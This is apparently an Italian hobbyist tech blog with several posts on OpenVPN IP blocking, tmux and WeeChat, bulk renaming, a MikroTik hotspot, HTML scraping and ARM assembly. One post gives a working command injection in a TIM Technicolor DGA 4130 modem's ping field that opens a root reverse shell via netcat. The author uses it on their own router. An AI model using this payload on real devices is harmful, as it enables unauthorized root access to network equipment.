OpenVPN Python Firewall

0
Python Firewall

Da un mese a questa parte mi e’ capitato di controllare i logs del mio demone VPN (OpenVPN) e trovare “strani” messaggi tipo questo

an 29 19:32:22 openvpn[1715]: 87.162.209.63:43237 TLS Error: TLS handshake failed
Jan 29 19:32:22 openvpn[1715]: 87.162.209.63:43237 SIGUSR1[soft,tls-error] received, client-instance restarting
Jan 29 19:32:23 openvpn[1715]: 87.162.209.63:6235 TLS Error: TLS key negotiation failed to occur within 60 second

Una rapida ricerca su google sul codice di errore mi porta a pensare che qualcuno sta cercando di autenticarsi sul mio server usando un protocollo diverso rispetto a quello impostato.

La soluzione piu’ ovvia sarebbe quella di cambiare la porta su cui il demone VPN e’ in ascolto (port 1194), con una meno conosciuta… ma purtroppo questo non puo’ essere il mio caso perche’ alcuni miei client hanno tutte le porte bloccate tranne quella di default.

La mia soluzione e’ stata quella scrivere un piccolo script in python il quale ha il compito di leggere il file di log ogni ora (esattamente 12 minuti dopo ogni scoccare di ora)

12 * * * * python /home/unicondor/pythonFirewall/OpenVpnParser.py -s /var/log/openvpn > /home/unicondor/out.txt 2>&1

ed andare a prendere quelli IP che per 50 volta hanno provato ad autenticarsi sul server VPN.

Una volta avuta questa lista, possiamo procedere con l’aggiornare iptables e la chain di INPUT droppando tali ip

# iptables -A INPUT -s ip_to_block -j DROP

Lo script in python e’ disponibile al seguente indirizzo

https://github.com/flaviopace/pythonOpenVpnIpBlocker

Tmux e WeeChat – Scaricare da IRC senza avere la shell attiva

0

Da un pò di tempo ho riscoperto IRC e le sue enormi potenzialità.

Avevo il bisogno di un “muletto” che scaricasse per me i files da IRC senza il bisogno di tenere la shell aperta ed attiva. Per questo motivo ho installato sul mio raspberry due semplici programmi: tmux e weechat

 

Tmux 

Cosi’ come dice la sua wiki, e’ un terminal multiplex che permette di eseguire qualsiasi comando e lasciarlo in esecuzione senza che venga killato una volta che mi siete disconnessi dalla console (un po come accade con nohup, ma con la possibilita’ di ricollegarsi alla shell in un secondo momento).

Per fare un esempio, possiamo avviare l’esecuzione di un’applicazione dalla nostra workstation dell’ufficio, ed osservare gli effetti dell’esecuzione solo dopo essere ritornati a casa, anche dopo avere chiuso il terminale su cui l’esecuzione era iniziata. Al tempo stesso, possiamo far sì che più utenti si connettano simultaneamente allo stesso terminale, ed alla stessa sessione, pur utilizzando computer differenti: quest’altra caratteristica è nota come session sharing.

Installazione su debian e’ alquanto semplice

[code language=”bash”]
sudo apt-get install tmux
[/code]

 

Weechat

E’ il miglior IRC chat client in circolazione. E’ davvero potentissimo e permette di personalizzare ogni suo aspetto

[code language=”bash”]
sudo apt-get install weechat
[/code]

 

Una volta installati entrambi i programmi non dobbiamo far altro che iniziare una nuova sessione tmux

[code language=”bash”]
unicondor@raspberrypi:~ $ tumx
[/code]

 

Adesso non dobbiamo far altro che avviare weechat in questa sessione virtuale di tmux e connetterci al nostro server irc

[code language=”bash”]
unicondor@raspberrypi:~ $ weechat
[/code]

ed iniziare a collegarci al server

[unicondor(iwx)] /connect irc.arabaphoenix.net

Entrare in un canale

/join #arabafenice

 

Una volta che siete riuscito a collegarci al canale … e magari anche avviato il download tramite XDCC, potete fare il “detach” della sessione in modo tale che WeeChat continui con la sua esecuzione senza essere killato

Il Comando di Tmux per il detach e’ C-a d

dove (C-x means ctrl+x, M-x means alt+x)

Quindi bisogna premere il pulsate della tastiera “CTRL” e contemporaneamente il tasto “b”, ed in seguito il tasto “d”

 

Comandi utili di Tmux

start new:

tmux

start new with session name:

tmux new -s myname

attach:

tmux a  #  (or at, or attach)

attach to named:

tmux a -t myname

list sessions:

tmux ls

kill session:

tmux kill-session -t myname

Kill all the tmux sessions:

tmux ls | grep : | cut -d. -f1 | awk '{print substr($1, 0, length($1)-1)}' | xargs kill

In tmux, hit the prefix ctrl+b (my modified prefix is ctrl+a) and then:

 

Reference:

https://github.com/tmux/tmux/wiki

https://weechat.org/

 

 

 

 

Rinominare File in Bulk usando una combinazione di comandi: ls, sed e mv

0

Ultimamente ho avuto la necessita’ di rinominare una serie di file in bulk.

Tali files erano all’interno di una cartella, la quale veniva usata dal demone samba per la condivisione nella mia rete.

Il problema che avevo era dovuto al fatto che samba mal supporta i file con i nomi troppo lunghi e per tale motivo, se si accede da remoto alla cartella, vediamo una sequenza di caratteri “strani” invece del loro nome originale

Supponiamo di avere un file del genere nella cartella usata da samba

XDCC|OceaN|NewS|26.Trailer.Film22.MD.HDCAM.x264-iND.mkv
XDCC|OceaN|NewS-Time44|26.Trailer.Film1.MD.HDRIP.x264-iND.avi

La stessa cartella, quando vista da remoto da un client samba appariva con nomi diversi come:

XOSHQU~F.mkv
XCKQJB~8.avi

 

Lo script e’ davvero semplice, ed usa una combinazione di tre comandi shell:

  • ls -> usato per scorrere la lista dei files nella cartella
  • sed -> usato per il replace del nome
  • xargs and mv -> usato per il rename effettivo del file

 

[code language=”bash”]
ls *| sed -e ‘p;s/[a-z;A-Z]*|[a-z;A-Z]*|[a-z;A-Z]*\([a-z;A-Z]*\|-[a-z;A-Z]*\)|[0-9]*.//g’ | xargs -n2 mv
[/code]

Se lanciato il comando precede avremo rinominato i file nella seguente maniera

Trailer.Film22.MD.HDCAM.x264-iND.mkv
Trailer.Film1.MD.HDRIP.x264-iND.avi

Permettendo a samba di mostrarli ai client remoti senza gli strani caratteri che abbiamo visto in precedenza.

Riferimenti:
http://www.oreilly.com/openbook/samba/book/ch05_04.html

Hacking/Unlocking Technicolor DGA 4130

0

Premessa

Sono passati due anni dal mio ultimo post nel blog. Ora mi ritrovo con questo editor bianco, non più familiare come lo era una volta, ma con la stessa necessità che avevo quando ho iniziato questo blog: appuntarmi quello che facevo per poterlo ripetere in futuro.

Finalmente la Fibra è arrivata anche da me (ormai non ci speravo più) sfiorando addirittura la velocità dei 200Mbps (sono di poco al di sotto).

Il modem è quello “nero” della TIM

TIM Modem Fibra 200

Ovviamente il SW web a corredo del modem è assai limitato e permette una misera customizzazione del modem. Per la maggior parte delle persone non è un problema visto che meno cose si possono modificare e meno problemi si creano, ma se siete arrivati su questa pagina web… non fate parte di quella categoria.

Da subito ho sentito la necessità di instradare le connessioni verso le mie subnet locali tramite il modem TIM. Questo perchè il mio vecchio switch/router non è Gigabit… e non volevo limitare la connessione della mia sottorete ai solo 100 Mbps :P.

In attesa che arrivi il nuovo switch/router gigabit (https://mikrotik.com/product/RB750Gr3) volevo poter modificare il modem TIM secondo le mie esigenze: instradare i pacchetti dei client collegati al modem sulle mie subnet.

 

Hacking DGA 4130

 

Per fortuna la versione del modem che ho:

[code data-mce-type=”bookmark” style=”display: inline-block; width: 0px; overflow: hidden; line-height: 0;” language=”class=”]

Release: Aqua (16.3)
Version: 16.3.7636-2781008-20170411105953-718b590506a915e24be58946f4755c0c617d9c8d

[/code]

ha una grossa falla di sicurezza che permette di eseguire qualsiasi comando con privilegi di amministratore tramite l’interfaccia WEB.

Guadagnare accesso root

Come primo step ho mettere in ascolto il mio MAC sulla porta 10001

[code language=”bash”]

$ nc -l 10001

[/code]

oppure tramite una macchina Linux con il comando

# nc -lvvp 10001

 

Poi dal browser digitiamo l’indirizzo IP del modem ed andiamo nella sezione Diagnostica -> Ping&Trace

 

e nella shermata successiva inserire il seguente comando nella sezione IP Address

[code language=”bash”]

:::::::;nc 192.168.2.92 10001 -e /bin/sh

[/code]

 

e poi premere Invia Richiesta Ping.

A questo punto, se tutto è andato bene, abbiamo stabilito una connessione tra il modem e la macchina Linux/Mac (quella in cui ci eravamo messi in ascolto) e da cui possiamo eseguire qualsiasi comando come root

La prima cosa che ho fatto è stata quella di cambiare la password di root tramite il seguente comando

[code language=”bash”]

passwd
Changing password for root
New password:
Retype password:
Password for root changed by root

[/code]

 

Avvio demone dropbear

Ora che abbiamo accesso come root  e che abbiamo cambiato la password possiamo fare praticamente di tutto. Il secondo step è stato quello di abilitare il demone dropbear per poter avere sempre un accesso SSH al modem.

Dobbiamo modificare il seguente file /etc/config/dropbear

[code language=”bash”]

config dropbear
option enable ‘0’
option PasswordAuth ‘off’
option RootPasswordAuth ‘on’
option Port ’22’

[/code]

dalla shell Linux/MAC diamo i seguenti comandi

[code language=”bash”]

sed -i ‘2 s/0/1/’ /etc/config/dropbear
sed -i ‘3,4 s/off/on/g’ /etc/config/dropbear
[/code]

Altro non fanno che:

  1. Abilitare il demone dropbear all’avvio
  2. Permettere l’accesso da root tramite inserimento della password

Se le modifiche sono andate a buon fine, Il file dovrà essere uguale a quello che vi mostro qui sotto

[code language=”bash”]

root@modemtim:~# cat /etc/config/dropbear
config dropbear
option enable ‘1’
option PasswordAuth ‘on’
option RootPasswordAuth ‘on’
option Port ’22’
# option BannerFile ‘/etc/banner’

[/code]

Ora come ultimo step c’è quello di modificare il file /etc/password aggiungendo una valida command shell.

Il file prima della modifica si presenta così

[code language=”bash”]

root:x:0:0:root:/root:/bin/false
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
mosquitto:x:200:200:mosquitto:/var/run/mosquitto:/bin/false
technician:x:550:550:technician:/home/technician:/usr/bin/restricted-clash
testuser:$5NQIlKgTj3rw:1000:65534:testuser:/tmp:/bin/ash
unicondor:$5NQIlKgTj3rw:1000:65534:unicondor:/tmp:/bin/sh

[/code]

La modifica consiste nello specificare /bin/ash come shell command e lo andiamo a fare con il seguente comando

[code language=”bash”]
sed -i ‘1 s/false/ash/’ /etc/config/dropbear
[/code]

Dopo la modifica avremo il file correttamente settato e pronti per accedere tramite ssh al nostro modem router TIM

[code language=”bash”]
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
mosquitto:x:200:200:mosquitto:/var/run/mosquitto:/bin/false
technician:x:550:550:technician:/home/technician:/usr/bin/restricted-clash
testuser:$5NQIlKgTj3rw:1000:65534:testuser:/tmp:/bin/ash
unicondor:$5NQIlKgTj3rw:1000:65534:unicondor:/tmp:/bin/sh
[/code]

Arrivati a questo punto abbiamo finito, il modem è in ascolto sulla porta 22 e pronto per accettare connessioni SSH.

 

Modifica dell regole di route e del firewall

Tutto il lavoro fatto in precedenza era necessario per poter avere una shell bash e poi cercare di capire come poter modificare le regole del firewall per i miei scopi.

Avevo la necessità di far vedere le mie subnet dai client collegati direttamente al modem, per tale motivo ho dovuto aggiungere un paio di comandi al file /etc/rc.local  (lo so, non è il metodo più elegante per farlo)

[code language=”bash”]

root@modemtim:~# cat /etc/rc.local
route add -net 192.168.1.0/24 gateway 192.168.2.1
route add -net 192.168.10.0/24 gateway 192.168.2.1
route add -net 192.168.20.0/24 gateway 192.168.2.1
iptables -I FORWARD -i br-lan -j ACCEPT

[/code]

  1. Con il comando route add ho semplicemente detto al modem che per instradare i pacchetti verso le sottoreti 192.168.1.0-192.168.10.0-192.168.20.0 doveva farlo tramite il mio proxy server (192.168.2.1)
  2. Con Il comando iptables ho semplicemente permesso ai client del modem ti poter raggiungere le subnet senza essere bloccati

 

 

Reference:

Il nuovo Router TIM per la 200 Mega: Il Technicolor DGA 4130 (AG EVO)


https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-unlocking-features/

Mappa attacchi DDOS RealTime

0

maps_attacchi_ddos
In rete si sente spesso parlare di attacchi informatici di tipo Distributed Denial-of-Service (DDoS). Tale tipo di attacco ha come obiettivo quello di “bloccare” un sistema informatico rendendolo incapace di erogare il servizio per cui è stato pensato

Questa mappa ci aiuta a visualizzare tali attacchi su una mappa, mostrandoci in Real-Time i paesi di origine e destinazione

Approfondimenti:
http://map.ipviking.com/
https://it.wikipedia.org/wiki/Denial_of_service
http://www.html.it/articoli/tecniche-gli-attacchi-dos-1/

Configurare un HotSpot con Mikrotik

0

wifi-hotspotmikrotik

Era da molto tempo che avevo in mente di configurare un Hotspot gratuito. La scelta e’ ricaduta su Mikrotik RouterOS grazie alle innumerevoli features che mette a disposizione (QOS avanzato, Advertisement, Traffic Shaping…)

Lo scopo dell’HotSpot era quello di non chiedere le credenziali di accesso per ogni utente collegato, ma utilizzare sempre lo stesso account

 

1 Set-Up Interfacce

La prima cosa da fare e’ quello si dividere togliere dal bridge locale l’interfaccia dove avremo il nostro HotSpot (interfaccia Wi-Fi nel mio caso).

Bridge -> Ports -> disabilitiamo l’interfaccia wlan1

Disabilitazione WiFi dal Bridge

Disabilitazione WiFi dal Bridge

 

A questo punto avremo due segmenti di rete differenti:

  • bridge-local -> su cui ci sono le le interfacce ethernet
  • wifi1 -> L’interfaccia Wi-Fi su cui avremo l’HotSpot.

 

Ora andiamo a configurare gli indirizzi IP per ognuna delle interfacce

IP -> Addresses

Interfacce e loro IP

Interfacce e loro IP

 

Nel mio ho ho la seguente configurazione:

  • wlan1 -> subnet 10.5.10.1/24   (Interfaccia HotSpot)
  • ether1-gateway -> 192.168.1.55/24  (Interfaccia WAN/gateway)
  • bridge-local -> 192.168.88.1/24 (Interfacce ethernet)

 

2) Set-Ip HotSpot

Ora non ci resta altro che effettuare la configurazione dell’HotSpot.

Mikrotik RuoterOS ci mette a disposizione una procedura

IP -> Hotspot -> HotSpot setup

La prima cosa che ci chiederà sarà l’interfaccia su cui girerà l’HotSpot

Selezioniamo l'interfaccia dell'HotSpot

Selezioniamo l’interfaccia dell’HotSpot

IP Address di tale interfaccia (stesso IP impostato nella parte di Set-Up dell’interfaccia)

La Subnet dell'Hotspot

La Subnet dell’Hotspot

Il pool di indirizzi che avranno i client dell’HotSpot

Il pool di indirizzi dell'HotSpot

Il pool di indirizzi dell’HotSpot

Non importiamo certificati

Non importiamo certificati

 

Indirizzo del server SMPT

Indirizzo del server SMPT

 

Server DNS locale

Server DNS locale

 

Alla fine avremo il riepilogo dell’HotSpot appena creato

 

Riepilogo HotSpot

Riepilogo HotSpot

Ora selezioniamo Server Profiles

Profilo dell'HotSpot

Profilo dell’HotSpot

In questo caso ho impostato un limiti in Upload e Download ed una cartella dei files HTML che verranno utilizzati per il Login (vedremo in seguito)

 

Passiamo alla sezione User Profiles

User Profiles

User Profiles

Nel mio caso ho usato due profili utente:

  • BarBelvedereFull -> nessuna restrizione in termini di banda
  • BarBelvedereLimit -> con restrizioni in termini di Download e Upload

 

Passiamo alla sezione Users

Users

Users

Dove ho l’utente:

  • freeuser -> associato al profile Limit (limiti download/upload)
  • admin -> senza limiti

 

Il passo successivo à impostare la pagina index.html di Login all’hostpost pre-impostando l’user “freeuser”

Screen Shot 2015-04-19 at 16.29.06

 

Parser Python per pagine HTML

0

Python Parser HTML

Python Parser HTML in azione

Dopo (tanti) anni di studio ed un lavoro (precario) credo sia arrivata finalmente l’ora di iscrivermi all’albo degli Ingegneri, ma prima di farlo ho cercato di fare una piccola statistica su quanti ingegneri c’erano nella mia provincia (Potenza) e a quale tipo di specializzazione appartenessero.

Purtroppo lo strumento di ricerca del sito ( http://www.ordingpz.it/albo/Albolist.asp ) mette a disposizione dell’utente poche opzioni di ricerca, per tale motivo ho rispolverato la cara e vecchia libreria python Beautiful Soup per scrivere un piccolo script python il quale mi aiutasse ad effettuare il parsing di più pagine HTML e tirasse fuori i dati che mi interessavano.

Il sito in questione (http://www.ordingpz.it) ha una pagina web per ogni ingegnere iscritto all’albo. Tale pagina contiene i vari dettagli dell’ utente, compreso il campi che a me interessavano: “Settore” e “Specializzazione“.

Al seguente link è possibile avere un esempio reale del dettaglio dell’utente (l’ingegnere non è stato scelto a casa, ma è un mio amico con cui ha avuto il piacere di lavorare assieme).

http://www.ordingpz.it/albo/Alboview.asp?N__ISCR_=2714

Dalla sintassi dell’URL si capisce che ad ogni account è associato un ID (N__ISCR_) numerico univoco.

Per tale motivo il primo passo è stato quello di capire come estrapolare questi ID per poi andare a processare ogni singola pagina.

La prima parte dello script serve proprio a questo, a tirare fuori tutti gli ID dal sito.

Get ID

import urllib2
from bs4 import BeautifulSoup
import sys

f = open(‘IngPZAll.txt’, ‘w’)

url = “http://www.ordingpz.it/albo/Albolist.asp?pageno=1&t=Albo&RecPerPage=3000”
print url

try:
data = urllib2.urlopen(url).read()
except:
print url

soup = BeautifulSoup(data)

n = soup.findAll(“td”,{“width”:”100″})

#print n
numIscr = []

for i in n:
numIscr.append(i.div.string)

A questo punto la lista numIscr contiene tutti gli ID dell’albo degli Ingegneri di Potenza, adesso non ci resta che accedere alle singole pagine degli user e memorizzare tutte le informazioni che ci servono.

Il ciclo for può esterno non va altro che prendere tutti gli ID contenuti in numIscr , accedere alla pagina dell’utente ad esso associato e tramite BeautifulSoup effettuare il parsing della pagina HTML per tirare fuori le informazioni.

Parse HTML

[sourcecode language=”python”]
for i in range(len(numIscr)):
url = “http://www.ordingpz.it/albo/Alboview.asp?N__ISCR_=”+str(numIscr[i])
f.write(url+”\n”)
print “Parsing “+ str(i) + ” of ” + str(len(numIscr))
print url

try:
data = urllib2.urlopen(url).read()
except:
print url

soup = BeautifulSoup(data)
#print soup.prettify()
n = soup.findAll(“td” , “ewTableHeader”)

fields = []

for i in n:
fields.append(i.string.encode(‘ascii’,’ignore’))

n = soup.findAll(“div”)

values = [];

#print n
count = 0;

for i in n:
count=count+1;
#print count
if(i.string != None and count > 19):
#print i.string
values.append(i.string.encode(‘ascii’,’ignore’))

for i in range(len(values)):
try:
f.write(str(fields[i]+ “: “+values[i]).encode(‘utf-8’)+”\n”)
except:
print fields[i]+ “: “+values[i]

f.write(“\n”)

f.close()
[/sourcecode]

Nella lista fields saranno elencati tutti i campo della tabella (Ex. Nome, Cognome, Specializzazione ecc) ed in quella values tutti i valori dei campi prima citati. Lo step successivo è quello di scrivere tutte queste informazioni in un unico file per poi poter fare tutte le nostre statistiche in maniera semplice ed immediata.

Il file IngPZAll.txt è output dello script, ed avrà al suo interno il dettaglio di tutti gli ingegneri iscritti all’albo.

Output Example

[sourcecode language=”text”]
..
..
..
http://www.ordingpz.it/albo/Alboview.asp?N__ISCR_=2714
N Iscrizione: 2714
Cognome: MONACO
Nome: Pierpaolo
Luogo di Nascita: Potenza
Data di Nascita:
C.F.:
Indirizzo:
CAP:
Citt:
Provincia: PZ
Sezione: A
Settore: Civile ed Ambientale, Industriale, Dell’Informazione
N Iscrizione: 2714
Data Iscrizione: 04/01/2012
Specializzazione: Informatica
Sede Laurea: Roma
Data Laurea: 21/03/2011
Sede Abilitazione: Roma
Anno Abilitazione: 2011
Ordine di Provenienza: Potenza
Data Prima Iscrizione: 04/01/2012
..
..
[/sourcecode]

Ora con una semplice comando bash posso facilmente capire ciò che volevo…

[sourcecode language=”bash”]
unicondor@iMac:> grep -c “Specializzazione: Informatica” IngPZAll.txt
19
[/sourcecode]

Ecco l’informazione che cercavo, su 2506 iscritti all’albo solo 19 hanno come specializzazione Informatica 😀

Attach:

alboIngPzParser.py

IngPZAll.txt

GitHub Project:

https://github.com/flaviopace/SimplePythonHTMLParser

P.s. tutti i dati che trovate in questo articolo solo liberamente disponibili sul sito dell’albo degli Ingegneri di Potenza

8 marzo 2014

0

Danbo festa della donna

Per oggi e per sempre auguri ad ogni donna, sia essa sposa, mamma, e poi nonna…

Raspberry Pi: assembly ARM power-on/off LED

0

Ancora devo abituarmi all’idea di poter passare una domenica senza toccare un libro universitario. Quante ne ho passate cercando disperatamente di memorizzare e ripassare (in realtà rare volte sono arrivato alla fase di ripasso 😛 ) qualche argomento per gli esami sempre troppo vicini.

Era arrivata l’ora di riempire un pò questo blog, un blog nato come passatempo serale… e che ho lasciato nel dimenticatoio per troppo tempo.

Quale miglior argomento di un pò di codice assembly ARM e GPIO per ricominciare??

Raspberry Pi LED

Lo scopo è quello riuscire ad accendere e spegnere un misero led (OK or ACT led per le specifiche Raspberry) collegato al 16esimo pin GPIO (pdf to ARM peripherals) tramite codice scritto direttamente in assembly.

1) Download e Settings ARM Toolchain

La prima cosa da fare è installare una toolchain di sviluppo per processori ARM. Se non volere compilarvi gcc a “manella” potete utilizzare questa toolchain pronta per l’uso ( disponibile per Windows/Linux/MacOS): YAGARTO

Una volta scaricato ed aperto il .dmg, vi chiederà di spostare il file .app in una cartella ed eseguirlo in modo tale da copiare i file binari di gcc in essa.

[sourcecode language=”bash”]unicondor@iMac:yagarto-4.7.2> ls
Binutils.webloc COPYING.LIBGLOSS COPYING3.LIB GNU.webloc arm-none-eabi lib source.txtCOPYING COPYING.NEWLIB GCC.webloc Newlib.webloc bin libexec tools
COPYING.LIB COPYING3 GDB.webloc YAGARTO.webloc include share version.txt
[/sourcecode]

Ora non ci resta altro che includere il percorso di tale cartella nella variabile locale relativo ai vari PATH della nostra shell.

[sourcecode language=”bash”]
unicondor@iMac:yagarto-4.7.2> export PATH=$PATH:$PWD/bin
[/sourcecode]

Se tutto è andato nel verso giusto avrete un output del genere, dove la variabile $PATH conterrà anche il path ai binari di gcc per ARM.

[sourcecode language=”bash”]
unicondor@iMac:yagarto-4.7.2> echo $PATH
/Library/Frameworks/Python.framework/Versions/2.7/bin:/opt/local/bin:/opt/local/sbin:/opt/local/bin:/opt/local/sbin:/opt/local/bin:/opt/local/sbin:/Library/Frameworks/Python.framework/Versions/2.7/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin:<strong>/Users/unicondor/Documents/Arm_toolchain/yagarto-4.7.2/bin</strong>
[/sourcecode]

2) Download template sviluppo

Per facilitarci ancora di più il compito possiamo procurarci questo template. Composto da una serie di files (sotto elencati) che ci aiuteranno nella compilazione dei nostri sorgenti

[sourcecode language=”text”]
source/
main.s
kernel.ld
LICENSE
Makefile
[/sourcecode]

Dove:
main.s sarà il nostro file sorgenti scritto direttamente in assembly ARM
kernel.ld è usato dal linker per mappare correttamente le zone di memoria (qualche interessante articolo si potrebbe scrivere su questo file)
Makefile spero non ci sia bisogno di spiegazioni 😛

3) Main.s

Ecco il file più importante, il file sorgente scritto direttamente in ARM assembly

[sourcecode language=”bash”]

/*
* .section is a directive to our assembler telling it to place this code first.
* .globl is a directive to our assembler, that tells it to export this symbol
* to the elf file. Convention dictates that the symbol _start is used for the
* entry point, so this all has the net effect of setting the entry point here.
* Ultimately, this is useless as the elf itself is not used in the final
* result, and so the entry point really doesn’t matter, but it aids clarity,
* allows simulators to run the elf, and also stops us getting a linker warning
* about having no entry point.
*/
.section .init
.globl _start
_start:

/*
* This command loads the physical address of the GPIO region into r0.
*/
ldr r0,=0x20200000

/*
* Our register use is as follows:
* r0=0x20200000 the address of the GPIO region.
* r1=0x00040000 a number with bits 18-20 set to 001 to put into the GPIO
* function select to enable output to GPIO 16.
* then
* r1=0x00010000 a number with bit 16 high, so we can communicate with GPIO 16.
*/
mov r1,#1
lsl r1,#18

/*
* Set the GPIO function select.
*/
str r1,[r0,#4]

/*
* Set the 16th bit of r1.
*/
mov r1,#1
lsl r1,#16

/*
* Set GPIO 16 to low, causing the LED to turn on.
*/
str r1,[r0,#40]

/*
* Loop over this forevermore
*/
loop$:
b loop$
[/sourcecode]

Nella sezione references trovate altri esempi da cui questo è stato preso. E’ molto semplice ed intuitivo da capire, inoltre è anche ben commentato per cui posso evitare di spiegare cosa fa 😀

Non dobbiamo fare altro che aggiungere il main.s nella cartella source del template prima scaricato e lanciare la compilazione. Infine avremo il nostro bel kernel.img da poter inserire nella nostra scheda SD e rimpiazzarlo con quello ufficiale di Raspian.

Se tutto e’ andato nel verso giusto, appena inserita l’alimentazione al nostro raspberry si accendera’ il LED ACT…. forse 😛

References

http://www.cl.cam.ac.uk/projects/raspberrypi/tutorials/os/index.html

GitHub

https://github.com/flaviopace/ARM_Assembly_PowerOff-PowerOn_led

Creazione Video Da Sequenza di Immagini Timelapse

0

Già mi ero cimentato qualche volta con la creazione di un video tramite sequenza di immagini timelapse, usando dei tool che in automatico mi creavano il flusso video da una sequenza di immagini.

Questa volta, da buon smanettone :P, ho voluto utilizzare solo la potenza della shell di Linux e strumenti OpenSource come ffmpeg.

L’hardware a disposizione non è stato uno dei migliori. Ho dovuto utilizzare il mio vecchio Asus EeePC 701 dotato di una misera telecamera da  640×480 px … e tanta pazienza :D.

1) Cattura Immagini Timelapse

Per la cattura delle immagini dalla videocamera ho usato il tool sviluppato da Ubuntu: cheese  e l’utility scrot per quanto riguarda la cattura delle immagine tramite screenshot.

Il mio script non fa altro che lanciare cheese in background a tutto schermo e catturare le immagini ogni 5 sec via scrot. So che esistono molti altri metodi per catturare le immagini direttamente dalla fotocamera senza effettuare lo screenshot, ma nel mio caso avevo bisogno di mostrare anche al pubblico le immagini che stavo riprendendo.

[sourcecode language=”bash”]
#!/bin/sh

/usr/bin/cheese &

while true
do
scrot /media/photo/’%H%M%S.png’
sleep 5
done

[/sourcecode]

2) Creazione Flusso Video

Se tutto è andato nel verso giusto avremo le nostre .png pronte per essere unite tra loro per creare il flusso video vero e proprio. FFMPEG è proprio il tool che fa a caso nostro, infatti basta dare questo piccolissimo comando per avere il video finale.

[sourcecode language=”bash”]
$ ./ffmpeg -i ../media/photo/%*.png -r 15 -vb 4096k out.mp4
[/sourcecode]

Dove:

  •  -i ../media/photo/%*.png  indica la sorgente (nel nostro caso le immagini) da cui assemblare il video
  •  -r 15 indica il frame rate che vogliamo utilizzare
  • -vb 4096k  indica il birate da utilizzare

Nel caso volessimo aggiungere anche una base musicale (non guasta mai) basta inserire un altro piccolo flag:

[sourcecode language=”bash”]
$./ffmpeg -i out.mp4 -i my_music.mp3 -vcodec codec -acodec codec output_video_with_music.avi -newaudio
[/sourcecode]

Questo è il mio timelapse effettuato durante la Sagra del Pecorino di Filiano 2013. Buona visione!

Torna all'inizio